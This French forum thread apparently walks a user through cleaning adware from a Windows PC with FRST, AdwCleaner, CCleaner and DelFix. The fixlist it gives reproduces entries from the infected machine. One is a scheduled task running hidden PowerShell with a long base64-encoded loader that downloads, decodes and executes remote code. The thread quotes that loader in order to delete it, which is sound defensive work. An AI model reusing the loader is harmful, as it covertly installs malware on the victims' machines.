Message d'erreur dot.dll

1/

--> Ouvre le Bloc-notes.
--> Copie-colle le texte en gras ci-dessous dans le Bloc-notes :

start
CloseProcesses:
HKU\S-1-5-21-1844846270-3235695486-2324960820-1004\...\Run: [Bubble Suite] => "C:\Users\Jean-Marie\AppData\Roaming\Nosibay\Bubble Suite\Bubble Suite.exe" /winstartup
IFEO\tbdelta.exetoolbar783881609.exe: [Debugger] tasklist.exe
GroupPolicy: Restriction - Chrome <======= ATTENTION
CHR HKLM\SOFTWARE\Policies\Google: Restriction <======= ATTENTION
HKU\S-1-5-21-1844846270-3235695486-2324960820-1004\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\S-1-5-21-1844846270-3235695486-2324960820-1004\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://ca.msn.com/defaultf.aspx
SearchScopes: HKLM-x32 -> DefaultScope {006ee092-9658-4fd6-bd8e-a21a348e59f5} URL =
SearchScopes: HKU\S-1-5-21-1844846270-3235695486-2324960820-1004 -> DefaultScope {EB6628CF-0675-4DAE-95CE-EFFA23169743} URL =
SearchScopes: HKU\S-1-5-21-1844846270-3235695486-2324960820-1004 -> URL hxxp://search.conduit.com/Results.aspx?ctid=CT3323875&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=5&UP=SPC206FB94-E448-43A5-B96F-F78009C5EF82&q={searchTerms}&SSPV=
CHR Extension: (BYD) - C:\Users\Jean-Marie\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfpphfadinalebmmjaamocgoakipkolj [2015-12-21]
CHR StartupUrls: Default -> "hxxps://www.mystart.com/?pr=systma&id=byd&v=1_0"
CHR DefaultSearchURL: Default -> hxxps://www.mystart.com/results.php?pr=systma&id=byd&v=1_0&p={searchTerms}
CHR DefaultSearchKeyword: Default -> mystart
C:\Users\Jean-Marie\AppData\Local\TVTime
C:\WINDOWS\System32\Tasks\Orosebleod
C:\WINDOWS\Tasks\QFVSBXQNUWHXXEYN.job
C:\ProgramData\Service1104
C:\WINDOWS\System32\Tasks\QFVSBXQNUWHXXEYN
C:\ProgramData\19a87fa1ec024bbcbb41931263354405
C:\WINDOWS\SysWOW64\${LOGFILE}
C:\Users\Jean-Marie\AppData\Roaming\WTools
C:\WINDOWS\system32\Drivers\etc\hp.bak
C:\END
C:\WINDOWS\SysWOW64\Owavama.ini
C:\WINDOWS\SysWOW64\OwavamaOff.ini
C:\WINDOWS\system32\OwavamaOff.ini
C:\Users\Jean-Marie\AppData\LocalLow\Company
C:\WINDOWS\rsrcs.dll
C:\Program Files (x86)\SystemHealer
C:\WINDOWS\System32\Tasks\{04050447-0A0C-0904-0B11-0F0D04091108}
C:\WINDOWS\System32\Tasks\Regme
C:\WINDOWS\System32\Tasks\Style Rush2
C:\ProgramData\28f5746e-7757-0
C:\ProgramData\28f5746e-3e43-1
C:\Users\Jean-Marie\AppData\Roaming\Systweak
C:\Users\Jean-Marie\AppData\Roaming\Bubble Suite.installation.log
Task: {09D3AED5-790E-4A13-9D33-8BCF89A79930} - System32\Tasks\{697BE7E1-7B14-49D8-8ABC-1F9A1AE40E30} => pcalua.exe -a C:\Users\Jean-Marie\AppData\Local\Temp\Temp1_Kali_demo.zip\install.exe
Task: {2D520D38-8C84-467F-928E-CCBEDFC291B4} - \SwiftSearch Auto Updater 1.10.0.25 Core -> Pas de fichier <==== ATTENTION
Task: {54FF41B0-5BFD-42E0-914C-423B812A4675} - System32\Tasks\Style Rush2 => Rundll32.exe "C:\Users\Jean-Marie\AppData\Local\Style Rush\{D2BD12F2-EF09-8147-99D7-E02ADDE80490}\dot.dll",#1 <==== ATTENTION
C:\Users\Jean-Marie\AppData\Local\Style Rush
Task: {5A972F7D-DB04-4DE7-B7F8-ACFC18797CAA} - System32\Tasks\Orosebleod => C:\ProgramData\Orosebleod\1.0.7.1\aalwuuuf.exe
C:\ProgramData\Orosebleod
Task: {5C5BE82A-407B-48AD-8D3D-D109D9346689} - \Games\UpdateCheck_S-1-5-21-1844846270-3235695486-2324960820-1000 -> Pas de fichier <==== ATTENTION
Task: {6830A86C-3A89-4DB7-82DD-55C322E23CCF} - \BrowserSafeguard Update Task -> Pas de fichier <==== ATTENTION
Task: {68B7C78D-8676-468B-83FB-0BDAAC76B58E} - \Style Rush -> Pas de fichier <==== ATTENTION
Task: {96A295D0-0EBD-452F-B2ED-C03BAE6AFBBA} - \SwiftSearch Auto Updater 1.10.0.25 Pending Update -> Pas de fichier <==== ATTENTION
Task: {A9143CF3-C965-4669-94C6-7F89751EDF67} - \RegClean Pro -> Pas de fichier <==== ATTENTION
Task: {ACAD20D5-FE88-443D-8E99-5032CD1625FC} - System32\Tasks\QFVSBXQNUWHXXEYN => C:\ProgramData\Service1104\Service1104.exe <==== ATTENTION
Task: {BAEB9458-8711-4D1D-9640-74C7F0E21559} - System32\Tasks\Regme => C:\PROGRA~1\SHOPPE~1\Ujhqea.bat
Task: {D2B27061-4BC9-468B-B116-F1323C2BBD5C} - System32\Tasks\{04050447-0A0C-0904-0B11-0F0D04091108} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAHMAZQBjAHUAcgBlAGIALgBpAG4AZgBvAC8AdQAvAD8AYQA9AGcAdgBmAGMAWQBjAGsAcQB6AFgAMQBzAHQAcABoAEoAUQBPAC0AOABPAEQAOAAwADgATwBOAE0AXwBSADcATABxAFIAMAByADcAMABZAGQAMABtAEQANAB6AGYANwA0ADMAUgBVAGEAQQBqADkAZAB2AGsAcAAzAFkASQByADYAdQBlAHIAZwBvAHkASgBKAEcALQAwAE4AUwBYAFEAbQBzAFAAWgAtADAAMABuAGYANgB4AEoAMwBmAGcAcwBNADUAbQB5ADkAcwBlAE0AeABiAEoAQgAtAHQAbQBKAEYAZQBuADUASABuAFcAdgBCAFcAZgBMAGoAYwBGAC0AegBaAGsAZQBoAHcATwBEAFYAYwB0AGcAegBPAGUAMQBZAE8AXwBuAFIAZABpAGgATQBDAEIAMAAtADkASwBOAEoASgBZAEUAZABTADYAcQBhAC0AUwA2ADEAcwBUAEkATgBqAGEAdQBHAE0AZQBfAEkAYwBPAEMASABUAHAAdwBhAFQAWgAwAEcAZwBBADIATgAyAHcALQBrADUAUwB3ADUAZABPADAAdgByAE8AYQBXAF8AUgBPADMAXwAyAFcATgBxAEMASABGADEARwAxAGgAaABoADQAZQBnAG4AVAAtAGMAWQBDAFEASgBHAHcARABWAFYAUgBnADgASQBXADMAZQBsAE4AdgAtAEQASgByADAAMgBOAFEAbQBkAG0ANABuAEQAQQBBAHcAMgBtAF8AWQBOAEIAZgBTAEgAagBfAGEAZgA3AEMAdgBHAEkAWAB1AGcANABPAGwAUgByAEoAOQBIADIANQBXADMASgBsAHIAXwBrAHMAVgBfAFoARAA1AEEAdgBYAFkAUwBuAFAAcgBjAFIAZwBCADYAZgA1AGQAYgA4AHQAQwBEAG0AaABNAE4ASQBNAHEAQwBwAEEAWQBIADIAXwBRAEcATABjAEMAcwBMAFMAMQBKAGoAagBCADkAVQBYAGsARwAxAHQASABYAHQAVwBpAGcAeABiAEgAUwBHAE4ATAB6AFUAMgB0AEsATwB3AGwASgA3AHcAZwBIAHUANgBJAGsANgB3AFMAcgB0AGgAVABTADgAOABrADYANQBmAEMAUgBrAFoASwBXAE4AZgBDAGoASwBBAFAAVQAwAEYAYQB0AEgAOQBUAHYAYgBMADAAbABNAGcAbwA1AHMAVwBMAEMAZQB6AEIAVwBWAGgAQwBOAGoASwA1AFQAVQA2AFYAYgBwAHYAQwAwAG4AagA1AEkAaABIAE0AWgA3AGIANABrAFcAbQBGAEwALQBKAFgATgBGAEQAdgA5AEQANgBCADUAVgBkAHIAbAA3AHoAbwBVAGwAWAA0AEMAUgBWAEUAdgBFAHMAVQBGAHkARQB2AHgAegA2AGUAaQBXAEkARABMAGkANABVAHIAbwBwAE0ANwBCAEQAUQB1AHgAdwBaAFoAagAwAEQAWgBsAE0ASgBOAHEAQwAzADMAcwBZADQAcgBpAGkANgBkAHIALQBhAE8AZAA2ADQAMQBOAFkAOABwAGgAYgA5AGQAYQBjAFMATQBMADQAUwBBAFkASAB1AEUASwA4AGoAcABpAE4AQQBpAG0ANwBQAHYAbQBxAEkANwBRAGoAUgBwAFUAbAAxAEoAUgBOAFEARABUAEwAOQByAFcAVQBpAE4AOQBBAHYAMgBiAGkAbwBsAHMAdwBuAGYAagBVAGYAVABaAEcAUgBRAC0ASQA0AEYASgBPAHUAVwBLAGwAbgBQAGgAcwBxAHgARwBFAHoANwBDAHMAUAA4AEYAZwAwAGIAVQBzAFgAMwBqAHMAdQBTAHQAYQBtAHEAdABCAGgAbABfADQAUAA2AGEAdQB3AGUATQAtAHkATwBZAFIARwBLAEkAOABuAGIAaQBMADEASgBNAEQATQBoAFMAdgBwAHQARQBsAHgAZABWAGwAOABVAHEAdwByAHgANABiAFQARwBMAEwAVwB4AFQAeQBWAHkAUQBtAGUAZQBPAEkAQwBNADQASwBOAEkAagAxADcAbABKADEAQQBmAHEAQgBzAG0AOQA1ADYAbwBwAFgAQgAyAE4AOQBtAFcAagAyADMAcAA2AGEATQAzAE4AWQBoAHMAbABxAHQASQBmADgAawBWAFQAcQBxAHAARwB2AF8ATABpAHUAQwBBAGUAZgBsADAAMQBiAG0AaAAyAFgAbgBWAC0ATQBNAGoAVgBoAHIAUgBWAG4AZwB3AGsASgB4AGEAVgBMAFYAMAAxAGkATwBnAGEAdgA5AHEATgBuAEkAUgAyADQATQBCAFMAMgAyAHAAagBIAHkAZwA0ADgANQB5AFYATwBsAGIARwBVADkARABDADEARABLAFgAMQAxADIATwA3AE8AZQBzAGIAJgBjAD0AZQB1AFAAbwBYADYALQA5ADEAcgAwAE8AMwBBAEIAbQAyAFYAZABnAGEAbQAyAGQARQBqAGMAcABqAFUANwB0AFAAZAB6AEEAcQBFAFUAOQAyAGcAbwB5AGgAegBBADIAVQB5AF8AWQBWADUAVgBMAFEASQBlAFIAdABsADYAUgBHAHoAawBNAHkAWgBTAEkATABwAG8AUgAwAHgAeQBlAE8ATwBrADQAbgBsAGkAdQA1AGQASwBCAFIAMABTAEsAcwBWAE0ARQAtAEgAQQBTAHcATwA4AG4AOABpAGkAMgBKAFEAaABuAEYANgA1AFYAMwBYAFkAUABTAEYAagBHAE4AeQAzAHoAaQBBAHUAawBRAFUAMABCADIAVABGAEoAeQBFAFgAdgAwADEASQAxAE4AcgB4AC0ARABWAFAATwBRAHoATQBFAEgAUQBZAFkAVwB6AF8AcgBMAFMAbgB1AFcARwAxAHcAaAAxAHoAaQBIADkAVwB6AGgAQwBFAGMANgA3AHQAUQBqAF8AVgBWADAAZwBXAFMAMABIAFQAeAA1AFcAeABRAEsAUQBDAEMAdQB2AE8AUQBXAEEAZQBZAFUAWAA1AHYAQQBGAEgAUAB2AC0ATgAyAGgASQAyAFMATQB4AEMAbwBsAGgAWQA4ADAASwBvAEIAUgBBAG8ANgBKAFIAVABjAHcAcQBWADIAWABfAFoASgBsAGYATABVAHcAUQBrAEoAaQBCADgARQBsADAAQgBUAHgAWQBkAGQAVABQAEIAUQBYAGcAcABFAFUANgA0ADMAQgBRAFcAbABWAGgAVgBfAEgAWQBkAEUAVwB2AHAAOABsAFMAbgA2AGoALQBGAF8AMgBGAFkAQgBrAG4ASQBOAFEAcABNAGUATgAzAEMAQgAzAHMAVQBuAEsAbQBwAFQANwA5AGkAUQBXAEIAQgA5AGgAcwA1AEQAZAA1AEEAbgAzAEoAcgBVAGIAZQBPAE4AcAA2ADIAZQBTAE4ATAA2ADkARwBOAG8AdgB3AFUAbgBvAFoAVwB6AGQAWQBxAG8AOAAzAHYASABTAGsAWABxAFIAdABQAHoAbQBSAHMARABaAHgAMwBSAFYARABlAG8AYwBSAFgANwA1AFcARAB2AGwAQQBhAFUAdQB5AEQAYgBLAHEAUQBsAFYASQBKAGkAOQAxAE0AUwB4AHQASAAxAE0ATgAzAHIAaAB6AEQAYQBqAE8AMAB4AEoAbABWAHkASQBuAGcAUgB0AHAAcwBEAFYAbgBuAEYAMwBuAFoAYQBzADgAVgByAEsAUQBaAHkAVwAyAHoAbgBGAEQAYgBBAHIAaABqAEUAaQAwAGIAaABxADMAZwA4AHgAUwBPAFMARwBHAC0AXwBlAFAANQBiAFgANQBBAGIAWgB6AEoAVgAyAGYAcgBLAHcAVQBQAGUAUABwAHIAbQBXADkAWgBRAHcAQwBUAGkAcAA5ADMAUwBsAGwAVgBSAFoALQBTAHgAXwBWADIAaQAyAEcAQwBJAHUAZQBpAHcATgB3AG0AbgBUAFIAbwBGAE4AQgBEAHIAUgBHAGcAdABjAGkAUQB0AEcAVgAxAHgAUABTADAANgBVAEIAYgBXAHkAMgBhAE8ASABqADUATgBhAHgAcgA2AFEARwBIAFcAVwBOAGsAQgBQAGUAdQBlAG8AdwBzAG8AUgAxAHkARgBjAHoAaABxAGEAWQAtAG8AZQBoADIARQBNAEwAdwB2ADgAbgBVAEMAeABZADkATABSADEAQwBDAHAATQBQAFMATgBGAHgAOQBtAEUAVQBIAE4AdABaAGEALQBLAFkAcABCAG8ATgBhAFgAUgBIAHYALQA4AGoAdgAtAG0ARQBlAFQATwBPAFcAVgBTAHUAagBDAFEAdwBuAFcAbAB0AG4AdwBkAFIAYgB4AFUANwB4AFUAMgBWAFUATgBGAEgAVgB4AGkAVABNAFoANQB3AEsAZwBRAGQANgAtAHEANwAwAFQAUABYAGQAZQBSAEIARABLAC0AMwBxAE8AUQBkAFMAQQBPADEAcgBVAHQASgBCADAANwBuADMAZgBHADgAOQAzAEEAOQA5AEgAUgBwAEcAMQBJAGgAOQBQAHUATwBUAEEARgBXAEkARgBlAFgAVAB5AHgAXwB6ADQAegA4AEoAdQA2ADcAYwBPAEQAYwBPAFcAUwBWAF8AQwBlAGQANgBKAFIAWABaADkATwAtAHUAYgBiAFIAdQBjAEwAZABnAFYAOABnAG4ATgByAEwAaABxADAAaABOAEMAQQBSADAAOAAwAGsAWABkAGgATwBOAG4AZwBiAFEAegAyAEkAOABVAEsASwBDAHMAbQBpAFcARQBjAFIASwB0AHEAcQAtAHoAUQBYAGgAeQBpAFEATgBlAEEAUgBRAGIAQQBwADgAdwAwAHgASwAmAHIAPQAzADYANQAzADMAOAA4ADIAMwAzADcAOAAxADEANgA4ADAAMwA5ACIAOwAkAHMAdABzAGsAPQAiAHsAMAA0ADAANQAwADQANAA3AC0AMABBADAAQwAtADAAOQAwADQALQAwAEIAMQAxAC0AMABGADAARAAwADQAMAA5ADEAMQAwADgAfQAiADsAJABwAHIAaQBkAD0AIgBTAHkAcwB0AGUAbQBIAGUAYQBsAGUAcgAiADsAJABpAG4AaQBkAD0AIgBKAFUAUQBNAFUAVgBRAFQAIgA7AHQAcgB5AHsAaQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AbAB0ACAAMgApAHsAYgByAGUAYQBrADsAfQAkAHYAPQBbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE8AUwBWAGUAcgBzAGkAbwBuAC4AVgBlAHIAcwBpAG8AbgA7AAoAaQBmACgAJAB2AC4ATQBhAGoAbwByACAALQBlAHEAIAA1ACkAewBpAGYAKAAoACQAdgAuAE0AaQBuAG8AcgAgAC0AbAB0ACAAMgApACAALQBBAE4ARAAgACgAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0AKQAuAFMAZQByAHYAaQBjAGUAUABhAGMAawBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgAC0AbAB0ACAAMgApACkAewBiAHIAZQBhAGsAOwB9AH0ACgBpAGYAKAAtAE4ATwBUACAAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBQAHIAaQBuAGMAaQBwAGEAbABdAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEkAZABlAG4AdABpAHQAeQBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0ACgAKQApAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AIAAiAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIgApACkAewBiAHIAZQBhAGsAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAdwBjACgAJAB1AHIAbAApAHsAJAByAHEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAByAHEALgBVAHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9ACQAdAByAHUAZQA7ACQAcgBxAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgB1AHMAZQByAC0AYQBnAGUAbgB0ACIALAAiAE0AbwB6AGkAbABsAGEALwA0AC4AMAAgACgAYwBvAG0AcABhAHQAaQBiAGwAZQA7ACAATQBTAEkARQAgADcALgAwADsAIABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwApACIAKQA7AHIAZQB0AHUAcgBuACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAcQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AHIAbAApACkAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAZABzAHQAcgAoACQAcgBhAHcAZABhAHQAYQApAHsAJABiAHQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcgBhAHcAZABhAHQAYQApADsAJABlAHgAdAA9ACQAYgB0AFsAMABdADsAJABrAGUAeQA9ACQAYgB0AFsAMQBdACAALQBiAHgAbwByACAAMQA3ADAAOwBmAG8AcgAoACQAaQA9ADIAOwAkAGkAIAAtAGwAdAAgACQAYgB0AC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGIAdABbACQAaQBdAD0AKAAkAGIAdABbACQAaQBdACAALQBiAHgAbwByACAAKAAoACQAawBlAHkAIAArACAAJABpACkAIAAtAGIAYQBuAGQAIAAyADUANQApACkAOwB9AAoAcgBlAHQAdQByAG4AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAJABiAHQALAAyACwAKAAkAGIAdAAuAEwAZQBuAGcAdABoAC0AJABlAHgAdAApACkAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AH0ACgAkAHMAYwA9AGQAcwB0AHIAKAB3AGMAKAAkAHMAdQByAGwAKQApADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAALQBjAG8AbQBtAGEAbgBkACAAIgAkAHMAYwAiADsAfQBjAGEAdABjAGgAewB9ADsAZQB4AGkAdAAgADAAOwA=
Task: {EC40F726-5E2E-4428-A313-42A28D80D45F} - \DNSLATTY -> Pas de fichier <==== ATTENTION
Task: C:\WINDOWS\Tasks\QFVSBXQNUWHXXEYN.job => C:\ProgramData\Service1104\Service1104.exe <==== ATTENTION
ShortcutWithArgument: C:\Users\Jean-Marie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www%2dsearching.com/?prd=set_epc&s=FCLzftpbl2,350693b5-feb2-42e9-a068-6e2080715958,
ShortcutWithArgument: C:\Users\Jean-Marie\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Microsoft Edge.lnk -> C:\Windows\explorer.exe (Microsoft Corporation) -> "microsoft-edge:hxxp://www%2dsearching.com/?prd=set_epc&s=FCLzftpbl2,350693b5-feb2-42e9-a068-6e2080715958,"
AlternateDataStreams: C:\ProgramData\TEMP:373E1720
FirewallRules: [{598CA5FD-94CC-47B9-B134-9E6C6BC40391}] => (Allow) C:\Program Files (x86)\SpringFiles\SpringFiles.exe
FirewallRules: [{93E876D3-CD79-4F5F-940C-A2078CFB5440}] => (Allow) C:\Program Files (x86)\SpringFiles\SpringFiles.exe
FirewallRules: [{8C89556D-05C7-4D31-A431-34811699DAFF}] => (Allow) C:\Program Files (x86)\SpringFiles\downloader.exe
FirewallRules: [{7D2B91F0-2EF1-49D7-AFA6-33C109C9F859}] => (Allow) C:\Program Files (x86)\SpringFiles\downloader.exe
SavingsBull (x32 Version: 1.0.0.0 - SavingsBull) Hidden <==== ATTENTION
Hosts:
cmd: netsh winsock reset
EmptyTemp:
end

--> Enregistre le fichier sur ton Bureau (au même endroit que FRST) sous le nom fixlist.txt
--> Lance FRST (Sous Windows Vista/7/8/10, clic droit sur FRST > Exécuter en tant qu'administrateur).
--> Clique sur Corriger. Patiente le temps de la correction.

Note : si l'outil a besoin d'un redémarrage, laisse le système redémarrer normalement, l'outil terminera son travail.

--> Une fois la correction terminée, un rapport Fixlog.txt remplacera le fichier fixlist.
--> Héberge le rapport sur pjjoint.malekal.com et copie-colle le lien fourni dans ta prochaine réponse.

2/

--> Télécharge et lance AdwCleaner (d'Xplode), choisis l'option "Scanner".

--> Une fois le scan terminé, choisis l'option "Nettoyer".

--> Redémarre le PC comme demandé, héberge le rapport sur pjjoint.malekal.com puis copie-colle le lien donné par le site dans ta réponse. Le rapport est enregistré dans C:\AdwCleaner sous le nom d'AdwCleaner[C?].

Bonjour,

--> Télécharge Farbar Recovery Scan Tool (de Farbar) sur ton Bureau.

Attention : tu dois prendre la version compatible avec ton système : 32 ou 64 bits.

32 ou 64 bits - Comment savoir ?

--> Ferme toutes les applications en cours.
--> Lance FRST (Sous Windows Vista/7/8/10, clic droit sur FRST > Exécuter en tant qu'administrateur).
--> Coche la case Addition.txt.
--> Clique sur Analyser.
--> Une fois le scan terminé, deux rapports FRST.txt et Addition.txt seront présents sur le Bureau.
--> Héberge les deux rapports sur pjjoint.malekal.com et copie-colle les liens fournis dans ta prochaine réponse.

Plus de souci ?

Je voudrais un nouveau rapport FRST (et Addition) s'il te plaît (pour vérifier).

Puis sa juste après

Je t'envoi les rapports

"C:\ProgramData\ConveRterr! Maste"

--> Connais-tu ce dossier ?

https://forum.malekal.com/viewtopic.php?t=53780&start=

Ok :)

Pour finir :

1/

---> Télécharge et installe la dernière version de CCleaner.

• Lance-le. Va dans Options puis Avancé et décoche la case Effacer uniquement les fichiers temporaires de Windows datant de plus de 24 heures puis dans Surveillance, décoche les deux cases.
• Va dans Nettoyeur et lance le nettoyage.

2/

---> Télécharge DelFix sur ton Bureau puis lance-le.

• Coche Purger la restauration système et laisse Supprimer les outils de désinfection coché.
• Clique sur Exécuter.
• Poste le rapport.

==Prévention==

Adware Prevention permet de t'entraîner à ne pas accepter de PUPs / adwares lors d'installations de logiciels :
https://security-x.fr/~guigui0001/

https://www.malekal.com/adwares-pup-protection/

Un dossier sur la prévention et sécurité sur Internet est disponible ici.

==Problème résolu ?==

Si tu estimes que ton problème est résolu, clique sur Marquer comme résolu situé sous le titre de ton sujet.

.

.